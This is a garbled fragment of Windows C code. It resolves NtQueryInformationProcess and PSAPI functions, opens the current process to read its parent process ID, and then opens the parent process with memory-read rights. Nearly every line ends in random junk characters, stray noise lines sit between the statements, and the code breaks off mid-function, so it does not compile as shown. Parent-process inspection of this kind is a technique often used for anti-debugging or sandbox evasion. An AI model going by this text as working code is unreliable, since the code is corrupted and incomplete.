DWORD PebBaseAddress; <+1w'-
DWORD AffinityMask; d(B;vL@R2V
DWORD BasePriority; ?[4khQt
ULONG UniqueProcessId; -Fw4;&>
ULONG InheritedFromUniqueProcessId; 'JKvy(n>
} PROCESS_BASIC_INFORMATION; b>AAx$2Y
~\s &]L
PROCNTQSIP NtQueryInformationProcess; Q,qylL
1eR{~ ,
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wqoN@d
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y(!)G!CMc
Z
a
y'/b
HANDLE hProcess; +7vh_ _
PROCESS_BASIC_INFORMATION pbi; 9 0(oV&
$Qc%9p
@i
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /s0VyUV=
if(NULL == hInst ) return 0; *CD=cmdD*
D
'_#?%3^
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1bAp{u&
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,`2xfVa-
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {]m
e?I
P>,D$-3
if (!NtQueryInformationProcess) return 0; {$eZF_}Y^
=&G|} M
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /(L1!BPP9m
if(!hProcess) return 0; }Mlz\'{
F"0jr7
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K<9MK>T
r
($t.iS
CloseHandle(hProcess); fOfz^W
u=i^F|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lxJ.h&